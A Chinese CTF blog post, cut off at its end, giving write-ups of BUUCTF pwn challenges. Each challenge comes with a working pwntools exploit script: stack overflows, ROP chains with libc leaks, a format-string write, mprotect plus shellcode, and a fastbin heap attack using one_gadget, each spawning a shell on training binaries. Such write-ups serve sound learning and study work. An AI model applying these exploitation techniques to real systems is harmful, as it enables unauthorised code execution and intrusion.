arttnba3's old blog

- arttnba3的垃圾堆积处 -

0%

【CTF题解-0x04】BUUCTF-Pwn write up by arttnba3

0x000.绪论

BUUCTF是一个巨型CTF题库,大致可以类比OIer们的洛谷一样的地方,在BUUCTF上有着分类齐全数量庞大的各方向题目,包括各大CTF的原题

正所谓”不刷BUU非CTFer“(哪里有过这种奇怪的话啦),作为一名新晋的蒟蒻CTFer&网安专业选手,咱也来做一做BUUCTF上的题,并把题解在博客上存档一份方便后来者学习(快醒醒,哪里会有人看你的博客啦XD

Baby Pwner做的都是pwn题,点开即可查看题解👇

注:我会在题目的旁边写上考点

0x001.test your nc - nc

拖入IDA分析,发现一运行就能直接getshell

image.png

nc,成功getshell,得flag

image.png

0x002.rip - ret2text

惯例的checksec,保护全关

image.png

主函数使用了gets函数,存在栈溢出,偏移量为0xf+8个字节

image.png

可以发现直接存在一个system("/bin/sh"),返回到这里即可getshell

image.png

构造payload如下:

1
2
3
4
5
6
from pwn import *
payload = b'A' * (0xf + 8) + p64(0x40118a)

p = process('./rip')#p = remote('node3.buuoj.cn',26914)
p.sendline(payload)
p.interactive()

输入我们的payload,直接getshell,得到flag

image.png

0x003.warmup_csaw_2016 - ret2text

惯例checksec,保护全关,可以为所欲为

image.png

拖入IDA,发现可以溢出的gets函数,偏移量是0x40+8个字节

image.png

又发现一个可以获得flag的gadgetsystem("cat flag.txt"),控制程序返回到这里即可获得flag

image.png

故构造payload如下:

1
2
3
4
5
6
from pwn import *
payload = b'A'* (0x40 + 8) + p64(0x400611)

p = process('./warm_up_2016')# p = remote('node3.buuoj.cn',28660)
p.sendline(payload)
p.interactive()

输入我们的payload,得到flag

image.png

0x004.pwn1_sctf_2016 - ret2text

惯例的checksec,发现只开了NX保护

image.png

拖入IDA看一下,然后你就会发现C++逆向出来的东西比**还**

image.png

我们不难看出replace函数是在该程序中的一个比较关键的函数,我们先进去简单看看:

image.png

简单通读一下我们大概知道这段代码的运行过程如下:(不就是**🐎有什么读不懂的,干他就完事了

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3, std::string *a4)
{
int v4; // ST04_4
int v5; // ST04_4
int v6; // ST10_4
char v8; // [esp+10h] [ebp-48h]
char v9; // [esp+14h] [ebp-44h]
char v10; // [esp+1Bh] [ebp-3Dh]
int v11; // [esp+1Ch] [ebp-3Ch]
char v12; // [esp+20h] [ebp-38h]
int v13; // [esp+24h] [ebp-34h]
int v14; // [esp+28h] [ebp-30h]
char v15; // [esp+2Fh] [ebp-29h]
int v16; // [esp+30h] [ebp-28h]
int v17; // [esp+34h] [ebp-24h]
char v18; // [esp+38h] [ebp-20h]
int v19; // [esp+3Ch] [ebp-1Ch]
char v20; // [esp+40h] [ebp-18h]
int v21; // [esp+44h] [ebp-14h]
char v22; // [esp+48h] [ebp-10h]
char v23; // [esp+4Ch] [ebp-Ch]
// 接收参数为:v6,input,v9,v7
// 其中input为我们的输入,v9为字符串"I",v7为字符串"you"
// 查汇编源码可知下面的string基本都是a2,也就是input
while ( std::string::find(a2, a3, 0) != -1 ) // 在input中寻找字符串v9("I"),如果找不到则find方法会返回-1,跳出循环
{
std::allocator<char>::allocator(&v10); // 新构造了一个allocator<char>类的实例并将地址给到v10
v11 = std::string::find(a2, a3, 0); // 获得"I"字符串在input中第一次出现的下标
std::string::begin(&v12); // input.begin()新构造一个迭代器对象并将地址给到v12
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v13);// 构建operator+的迭代器对象实例给到v13
std::string::begin(&v14); // input.begin()新构造一个迭代器对象并将地址给到v14
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v9, v14, v13, &v10);// v14迭代生成的字符使用allocator(v10)分配内存、使用operator+(v13)接成新字符串给到v8
// 查看汇编可知生成的字符串长度为v11(即生成的字符串为input中第一个"I"的前面所有字符构成的字符串
std::allocator<char>::~allocator(&v10, v4); // 析构v10
std::allocator<char>::allocator(&v15); // 新构造了一个allocator<char>类的实例并将地址给到v15
std::string::end(&v16); // input.end()新构造一个迭代器对象并将地址给到v16
v17 = std::string::length(a3); // 获得"I"的长度给到v17
v19 = std::string::find(a2, a3, 0); // 获得"I"字符串在input中第一次出现的下标给到v19
std::string::begin(&v20); // begin()新构造一个迭代器对象并将地址给到v20
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v18);// 构建operator+的迭代器对象实例给到v18
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v21);// 构建operator+的迭代器对象实例给到v21
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v8, v21, v16, &v15);// v16迭代生成的字符使用allocator(v15)分配内存、使用operator+(v21)接成新字符串给到v8
// 注意在这里和前面的相似语句中字符串迭代器与operator所传入的位置是相反的
// 可能是因为迭代器从后往前生成字符串?
std::allocator<char>::~allocator(&v15, v5); // 析构v15
std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v23, &v9, a4);// v9+a4生成的字符串给到v23
// 即input中第一个"I"之前的所有字符构成的字符串再加上"you"生成新字符串v23
std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v22, &v23, &v8);// v23+v8生成的字符串给到v22
// 即v23再加上原input中第一个"I"之后的所有字符构成的字符串生成新字符串v22
std::string::operator=(a2, &v22, v6); // v22给回到a2(也就是input
std::string::~string(&v22); // 析构v20
std::string::~string(&v23); // 析构v21
std::string::~string(&v8); // 析构v8
std::string::~string(&v9); // 析构v9
}
std::string::string(a1, a2); // 拷贝input到a1(vuln中v6)
return a1;
}

我们可以大概知道replace函数的作用其实是把输入的字符串中的所有字串A替换成字符串B再重新生成新的字符串,而在vuln函数中A即为"I",B即为"you"

重新回到vuln函数,我们发现依然看不懂这段代码到底干了啥

这个时候其实我们可以选择看汇编代码进行辅助阅读(C++逆向出来的东西真的太**了

image.png

简单结合一下汇编代码与逆向出来的C++代码,我们容易知道该段代码的作用,如下图注释所示:

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fgets(&s, 32, edata);                         // 从标准输入流中读入最大32个字符到s
std::string::operator=(&input, &s); // 将字符串s的值拷贝到string类input中
std::allocator<char>::allocator((int)&v8); // 新构造了一个allocator<char>类的实例并将地址给到v8
std::string::string((int)&v7, (int)"you", (int)&v8);// string类使用allocrator分配内存复制字符串"you"并拷贝到v7上
std::allocator<char>::allocator((int)&v10); // 新构造了一个allocator<char>类的实例并将地址给到v10
std::string::string((int)&v9, (int)"I", (int)&v10);// string类使用allocrator分配内存复制字符串"I"并拷贝到v6上
replace((std::string *)&v6, (std::string *)&input, (std::string *)&v9);// 遍历input,生成新string把原input中的'I'替换为'you',并将重新生成后的字符串地址给到v6
std::string::operator=(&input, &v6, v0); // 拷贝v6回到input中,完成替换
std::string::~string((std::string *)&v6); // 析构v6
std::string::~string((std::string *)&v9); // 析构v9
std::allocator<char>::~allocator(&v10, v1); // 析构v10
std::string::~string((std::string *)&v7); // 析构v7
std::allocator<char>::~allocator(&v8, v2); // 析构v8
v3 = (const char *)std::string::c_str((std::string *)&input);// 将input使用string类的c_str函数变成字符串存放在char数组中并将字符串指针赋给v3
strcpy(&s, v3); // 将v3拷贝到s上

简单运行一下,我们可以发现程序的确会把输入中的I全部替换成you

image.png

同时我们可以看到,溢出大概需要0x3c个字节,也就是60个字节

image.png

我们可以选择使用20个I作为padding,然后这段padding会被替换成30个you,刚好60个字节,在后面再覆盖掉ebp与返回地址控制程序返回到get_flag函数即可得到flag

故构造exp如下:

1
2
3
4
5
6
from pwn import *
get_flag_addr = 0x8048fd
p = process('./pwn1_sctf_2016')#p = remote('node3.buuoj.cn',27140)
payload = b'I'*20 + p32(0xdeadbeef) + p32(get_flag_addr)
p.sendline(payload)
p.recv()

发送payload,得到flag

image.png

C++逆向是真的kskjklasjdkajskdhasjdgsgdhsgdsajkqpiwourevz

0x005.ciscn_2019_n_1 - overwrite

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析,main中调用了func函数,直接进去看

image.png

当v2为11.28125时我们可以获取flag,而gets函数读入到v1存在溢出点可以覆写掉v2

那么问题来了,浮点数11.28125在内存中是如何表示的呢

我们可以直接跳转到这个数据所储存的地方,发现是0x41348000

image.png

故构造exp如下:

1
2
3
4
5
from pwn import *
p = process('ciscn_2019_n_1')#p = remote('node3.buuoj.cn',27338)
payload = b'A'*(0x30-0xc) + p64(0x401348000)
p.sendline(payload)
p.recv()

发送payload,得到flag

image.png

0x006.ciscn_2019_c_1 - ret2csu + ret2libc

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析

encrypt()函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据image.png

不过我们可以发现该函数是使用的strlen()函数来判断输入的长度,遇到'\x00'时会终止,而gets()函数遇到'\x00'并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00',这样我们所输入的payload就不会被程序改变

接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()函数泄漏出puts()的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher获取libc,然后libc的基址、/bin/shsystem()的地址就都出来了,配合上csu中的gadget即可getshell

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

e = ELF('./ciscn_2019_c_1')
offset = 0x50
enc_addr = 0x4009a0
pop_rdi = 0x400c83
retn = 0x400c84

payload1 = '\x00' + b'A'*(offset-1) + p64(0xdeafbeef) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(enc_addr)
#p = process("./ciscn_2019_c_1")
p = remote('node3.buuoj.cn',27832)
p.sendline(b'1')
p.recv()
p.sendline(payload1)
p.recvuntil('Ciphertext\n\n')
s = p.recv(6)
puts_addr = u64(s.ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = '\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行我们的exp,成功getshell

image.png

发生了很多很玄学的问题(👈其实就是李粗心大意罢le),导致这道题虽然早就有了思路,但是用的时间比预期要长的多

以及LibcSearcher在本地无法getshell,换成本地的libc就好了(玄学问题变多了(其实只是LibcSearcher库不全⑧))

以及Ubuntu 18下偶尔会发生栈无法对齐的情况,多retn几次就好了(确信)

0x007.[OGeek2019]babyrop - ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析:

image.png

main函数首先会获取一个随机数,传入sub_804871F()

image.png

该函数会将随机数作为字符串输出到s,之后读取最大0x20个字节的输入到v6,用strlen()计算v6长度存到v1并与s比对v1个字节,若不相同则直接退出程序

考虑到strlen()函数以'\x00'字符作为结束标识符,故我们只需要在输入前放上一个'\x00'即可避开这个检测

之后会将v5的数值返回到主函数并作为参数又给到sub_80487D0()函数,简单看一下我们便可以发现该函数读取最大v5个字节的输入到buf中,而buf距离ebp只有0xe7个字节

image.png

由于没有可以直接getshell的函数,故考虑在第一次输入时将v5覆写为0xff以保证能够读取的输入长度最大,在第二次输入时构造rop链使用write函数泄露write的地址,再使用libcsearcher得到libc基址与system()"/bin/sh"字符串的地址,最后构造rop链调用system("/bin/sh")即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
e = ELF('./pwn')
write_plt = e.plt['write']
write_got = e.got['write']
payload1 = b'\x00' + 7* b'\xff'
payload2 = b'A' * 0xe7 + p32(0xdeadbeef) + p32(write_plt) + p32(0x80487d0) + p32(0x1) + p32(write_got) + p32(0x8)

p = process('./pwn')#p = remote('node3.buuoj.cn',25330)
p.sendline(payload1)
p.recvuntil(b'Correct\n')
p.sendline(payload2)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload3 = b'A'*0xe7 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload3)
p.interactive()

运行脚本即可getshell

image.png

0x008.jarvisoj_level0 - ret2text

好多重复考点的简单题啊…

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析,可以发现存在一个可以溢出的函数vulnerable_function(),只需要0x80个字节即可溢出

image.png

同时存在一个可以直接getshell的函数callsystem()

直接构造payload覆写返回地址到callsystem()函数即可getshell

exp如下:

1
2
3
4
5
6
7
8
from pwn import *

payload = b'A'*0x80 + p64(0xdeadbeef) + p64(0x400596)

p = process('level0')#p = remote('node3.buuoj.cn',29367)
p.recv()
p.sendline(payload)
p.interactive()

image.png

0x009.ciscn_2019_en_2 - ret2csu + ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析感觉这题好像在哪个地方做过的样子ciscn_2019_c_1

encrypt()函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据image.png

不过我们可以发现该函数是使用的strlen()函数来判断输入的长度,遇到'\x00'时会终止,而gets()函数遇到'\x00'并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00',这样我们所输入的payload就不会被程序改变

接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()函数泄漏出puts()的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher获取libc,然后libc的基址、/bin/shsystem()的地址就都出来了,配合上csu中的gadget即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn',25348)#process('./ciscn_2019_en_2')
e = ELF('./ciscn_2019_en_2')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = 0x400b28
pop_rdi_ret = 0x400c83
retn = 0x400c84
offset = 0x50

payload1 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recv()
p.sendline('1')
p.recv()
p.sendline(payload1)
p.recvuntil('text\n\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) +p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)

p.sendline('1')
p.sendline(payload2)
p.interactive()

image.png

需要注意的是Ubuntu 18有的时候会存在栈无法对齐的情况,可以多使用几次retn的gadget来对其栈

0x00A.[第五空间2019 决赛]PWN5 - fmtstr

惯例的checksec,发现开了NX保护和canary

image.png

拖入IDA进行分析:

image.png

该程序获取一个随机数,读入到0x804c044上,随后两次读入用户输入并判断第二次输入与随机数是否相同,相同则可以获得shell

我们可以发现存在格式化字符串漏洞,可以进行任意地址读与任意地址写,故考虑将0x804c044地址上的随机数覆写为我们想要的值,随后直接输入我们覆写的值即可getshell

同时我们简单的跑一下这个程序就可以知道格式字符串是位于栈上的第10个参数(”aaaa” == 0x61616161)

image.png

我们可以使用pwntools中的fmtstr_payload()来比较方便地构造能够进行任意地址写的payload

具体用法可以百度,这里就不再摘抄一遍了

故构造exp如下:

1
2
3
4
5
6
7
8
from pwn import *

payload = fmtstr_payload(10,{0x804c044:0x1})

p = process('./pwn')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.sendline(str(0x1))
p.interactive()

image.png

0x00B.[BJDCTF 2nd]r2t3 - integer overflow + ret2text

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

主函数中读入最大0x400个字节,但是开辟了0x408字节的空间,无法溢出

image.png

同时主函数会将输入传入name_check()函数中,若通过strlen()计算出来的长度在4~8个字节之间则会将我们的输入通过strcpy()拷贝至dest上,而这里到ebp之间只有0x11个字节的空间,我们完全可以通过这段代码覆盖掉该函数的返回地址

image.png

同时我们可以观察到存在可以直接getshell的后门函数

image.png

考虑到在name_check()函数中用来存放输入长度的变量为8位无符号整型,范围为0~255,故我们只需要输入260个字节便可以发生上溢降使该变量的值上溢为4,绕过判定

故构造exp如下:

1
2
3
4
5
6
7
from pwn import *

payload = b'A'*0x11 + p32(0xdeadbeef) + p32(0x804858b) + b'A' * (260 - 4 - 4 - 0x11)

p = process('./r2t3')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.interactive()

发送payload即可getshell

image.png

0x00C.get_started_3dsctf_2016 - ret2text || ret2shellcode

注:这是一道屑题

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析,可以发现存在一个赤裸裸的gets()溢出

image.png

同时存在一个get_flag()函数可以获取flag,不过要求参数1为0x308cd64f,参数2为0x195719d1

image.png

解法1:ret2text

32位程序通过栈传参,故构造exp如下:

1
2
3
4
5
6
7
from pwn import *

payload = b'A'*0x38 + p32(0x80489A0) + p32(0xdeadbeef) + p32(0x308CD64F) + p32(0x195719D1)

p = process('./get_started_3dsctf_2016')
p.sendline(payload)
p.interactive()

不过很明显,出题人的环境很明显有丶小问题🔨🔨🔨,远程跑不通这个payload

image.png

问题出在哪呢?该程序尝试打开的是flag.txt文件,但是平台所自动生成的是flag文件,故此种方法无法获得flag

我们尝试寻找第二种解法

解法2:ret2shellcode

首先我们发现在程序中编入了大量的函数,其中就包括mprotect(),可以修改指定内存地址的权限

image.png

故考虑使用mprotect()修改内存段权限为可读可写可运行后在上面写入shellcode并跳转至内存段执行shellcode以getshell

pwndbg中使用vmmap查看可以用的内存段,前面三个段随便选一个就行

image.png

需要注意的是我们需要手动将mprotect()的参数弹出(日常踩坑)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = process('./get_started_3dsctf_2016')#p = remote('node3.buuoj.cn',29719)#
e = ELF('./get_started_3dsctf_2016')

#context.log_level = 'debug'

pop_ebx_esi_edi_ebp_ret = 0x804951c
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ec000
offset = 0x38

payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef) + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)

payload2 = asm(shellcraft.sh())

p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即可getshell

image.png

0x00D.ciscn_2019_n_8 - overwrite

惯例的checksec,发现开了栈不可执行、地址随机化、Canary三大保护(噔 噔 咚

image.png

拖入IDA进行分析

image.png

使用scanf读入字符串到变量var,存在漏洞,同时程序会将var的地址转换为一个(_QWORD)类型指针(长度为四字节),并判断var[13]是否为0x11,若是则返回一个shell

故考虑直接输入将var[13]覆写为0x11即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
from pwn import *

payload = b'A'*13*4 + p32(0x11)

p = process('./ciscn_2019_n_8') # p = remote('node3.buuoj.cn',29901)
p.recv()
p.sendline(payload)
p.interactive()

image.png

0x00E.not_the_same_3dsctf_2016 - ret2shellcode

not the same(指 the same(

惯例的checksec,发现只开了栈不可执行保护

image.png

拖进IDA里康康

image.png

主函数中直接存在可以被利用的gets()函数,同时还给了我们一个提示信息——bora ver se tu ah o bichao memo,大致可以翻译为:Did you see the wrong note?看起来似乎没什么用的样子

尝试先使用与前一题相同的思路来解

首先用pwndbgvmmap查看可以用的内存

image.png

同时IDA中我们发现程序中依然存在mprotect()函数可以改写权限

image.png

和前一题所不同的是gadget的位置有丶小变化(原来只有这个不同🐎

image.png

故我们可以使用与前一题几乎完全相同的exp来getshell,只需要把csu里的gadget的地址稍微修改一下即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = process('./not_the_same_3dsctf_2016')#p = remote('node3.buuoj.cn',28147)#
e = ELF('./not_the_same_3dsctf_2016')

#context.log_level = 'debug'

pop_ebx_esi_edi_ebp_ret = 0x80494dc
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ea000
offset = 0x2d

payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef) + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)

payload2 = asm(shellcraft.sh())

p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即得shell

image.png

0x00F.one_gadget - one_gadget

首先从题目名字我们就可以看出这道题应该需要我们用到一个工具——one_gadget

什么是one_gadget?即在libc中存在着的可以直接getshell的gadget

惯例的checksec,发现保 护 全 开心 肺 停 止

image.png

拖进IDA里分析

image.png

主函数会读入一个整数到函数指针v4中,并尝试执行v4(),故我们只需要输入one_gadget的地址即可getshell

使用one_gadget工具可以找出libc中的getshell gadget

不明原因在arch上一直没法运行,只好切到Ubuntu

image.png

但是我们还需要知道libc的基址

我们可以发现在init()函数中会输出printf()函数的地址,有了这个我们便可以计算出libc的基址,也就有了one_gadget的真实地址

而题目也给了我们libc,故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

one_gadget = 0xe237f

p = process('./one_gadget')#p = remote('node3.buuoj.cn',27792)#
e = ELF('./one_gadget')
libc = ELF('./libc-2.29.so')

p.recvuntil('here is the gift for u:')
printf_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
libc_base = printf_addr - libc.sym['printf']
getshell = libc_base + one_gadget
p.sendline(str(getshell))
p.interactive()

0x010.jarvisoj_level2 - ret2text

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

读入最大0x100字节,但是buf到ebp之间只有0x88字节的空间,存在溢出

同时我们也可以知道该程序中有system()函数可以利用

同时程序中还存在"/bin/sh"字符串

image.png

故只需要构造rop链执行system("/bin/sh")即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./level2')#p = remote('node3.buuoj.cn',26276)#
e = ELF('./level2')
sh_addr = 0x804A024

payload = b'A'*0x88 + p32(0xdeadbeef) + p32(e.plt['system']) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload)
p.interactive()

运行即可getshell

image.png

0x011.[HarekazeCTF2019]baby_rop - ret2text + ret2csu

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

使用scanf("%s")读入字符串,存在溢出漏洞

image.png

存在system()函数

image.png

存在/bin/sh字符串

故考虑使用csu中gadget构造rop链执行system("/bin/sh")函数以getshell

image.png

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh_addr = 0x601048
pop_rdi_ret = 0x400683

p = remote('node3.buuoj.cn',27558)
e = ELF('./babyrop')

payload = b'A'*0x10 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(e.sym['system'])
p.sendline(payload)
p.interactive()

运行即得flag

image.png

好多一样的题啊Or2

0x012.bjdctf_2020_babystack - ret2text

又是一模一样的题。。。

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

主函数中用户可以控制读入的字符数量,存在溢出

同时存在可以getshell的backdoor()函数

image.png

故考虑构造rop链执行backdoor()函数即可

构造exp如下

1
2
3
4
5
6
7
8
from pwn import *

payload = b'A'*0x10 + p64(0xdeadbeef) + p64(0x4006e6)

p = remote('node3.buuoj.cn',25806)#p = process('./bjdctf_2020_babystack')
p.sendline(b'100')
p.sendline(payload)
p.interactive()

运行即可getshell

image.png

0x013.babyheap_0ctf_2017 - Unsorted bin leak + Fastbin Attack + one_gadget

来到BUU后做的第一道堆题

惯例的checksec,发现保 护 全 开心 肺 停 止

image.png

拖入IDA里进行分析(以下部分函数、变量名经过重命名)

常见的堆题基本上都是菜单题,本题也不例外image.png

我们可以发现在writeHeap()函数中并没有对我们输入的长度进行检查,存在堆溢出

image.png

故我们考虑先创建几个小堆块,再创建一个大堆块,free掉两个小堆块进入到fastbin,用堆溢出改写fastbin第一个块的fd指针为我们所申请的大堆块的地址,需要注意的是fastbin会对chunk的size进行检查,故我们还需要先通过堆溢出改写大堆块的size,之后将大堆块分配回来后我们就有两个指针指向同一个堆块

62DB8B2E56B87418664EEB947A980782.png

利用堆溢出将大堆块的size重新改大再free以送入unsorted bin,此时大堆块的fd与bk指针指向main_arena+0x58的位置,利用另外一个指向该大堆块的指针输出fd的内容即可得到main_arena+0x58的地址,就可以算出libc的基址

72934A2F942430E796048F09C96A261F.png

接下来便是fastbin attack:将某个堆块送入fastbin后改写其fd指针为__malloc_hook的地址(__malloc_hook位于main_arena上方0x10字节处),再将该堆块分配回来,此时fastbin中该链表上就会存在一个我们所伪造的位于__malloc_hook上的堆块,申请这个堆块后我们便可以改写malloc_hook上的内容为后门函数地址,最后随便分配一个堆块便可getshell

考虑到题目中并不存在可以直接getshell的后门函数,故考虑使用one_gadget以getshell

D2D612904D8AB28F1DCCE651D4B81508.png

需要注意的是fastbin存在size检查,故具体的能够让fake chunk的size刚好为特定值的那个地址可能位于__malloc_hook上方的某一处,需要我们多次尝试得到偏移量

构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
p = remote('node3.buuoj.cn',27143)#process('./babyheap_0ctf_2017')#
libc = ELF('./libc-2.23.so')

def alloc(size:int):
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def fill(index:int,content):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)

def free(index:int):
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def dump(index:int):
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: \n')
return p.recvline()

alloc(0x10) #idx0
alloc(0x10) #idx1
alloc(0x10) #idx2
alloc(0x10) #idx3
alloc(0x80) #idx4

free(1) #idx1
free(2) #idx2

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

alloc(0x10) #idx1, the former idx2
alloc(0x10) #idx2, the former idx4

payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80) #idx5, prevent the top chunk combine it
free(4) #idx2 got into unsorted bin, fd points to the main_arena

main_arena = u64(dump(2)[:8].strip().ljust(8,b'\x00')) - 0x58
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a

alloc(0x60) #idx4
free(4) #idx2 got into fastbin
payload = p64(malloc_hook - 0x23)
fill(2,payload) #overwrite fd to fake chunk addr

alloc(0x60) #idx4
alloc(0x60) #idx6, our fake chunk

payload = b'A'*0x13 + p64(one_gadget)
fill(6,payload)

alloc(0x10)
p.interactive()

运行脚本即得flag

image.png

0x014.ciscn_2019_n_5 - ret2shellcode

惯例的checksec,发现近乎保护全关,整挺好

9FIY_KOU2UD64__0RB5U66B.png

拖入IDA进行分析

![41L`5F__UIYNB_H_YE_DEHD.png](https://i.loli.net/2020/10/09/zTYkWulo1hyLKvB.png)

一开始先向bss段上的name读入最大0x64字节的内容,之后再使用gets()读入到text上,存在栈溢出

故考虑先向name上写入shellcode再控制程序跳转至name即可

bss段上name的地址为0x601080

3N50O64P@_TF@5SAT_@__KU.png

构造exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch = 'amd64'

bss_addr = 0x601080
payload = b'A'*0x20 + p64(0xdeadbeef) + p64(bss_addr)

p = process('./ciscn_2019_n_5')#remote('node3.buuoj.cn',27296)
p.sendline(asm(shellcraft.sh()))
p.sendline(payload)
p.interactive()

运行,成功getshell

ZGX5RGFHA_NTT96WDXA__4T.png

0x015.level2_x64 - ret2csu

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析

image.png

vulnerable_function()处存在栈溢出,且存在system()函数

image.png

在.data段存在"/bin/sh"字符串

故考虑构造rop链执行system("/bin/sh")即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh_addr = 0x600A90
pop_rdi_ret = 0x4006B3
call_sys = 0x400603
payload = b'A'*0x80 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(call_sys)

p = process('./level2_x64')#remote('node3.buuoj.cn',26289)
p.sendline(payload)
p.interactive()

运行脚本即得flag

image.png

0x016.ciscn_2019_ne_5 - ret2text

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析

ZX9_6BVAK5A_V_BL__V_I0X.png

看起来长得像堆题但其实完全没有堆的操作,还是传统的栈题

AddLog()函数中读入最大128字节到字符串src

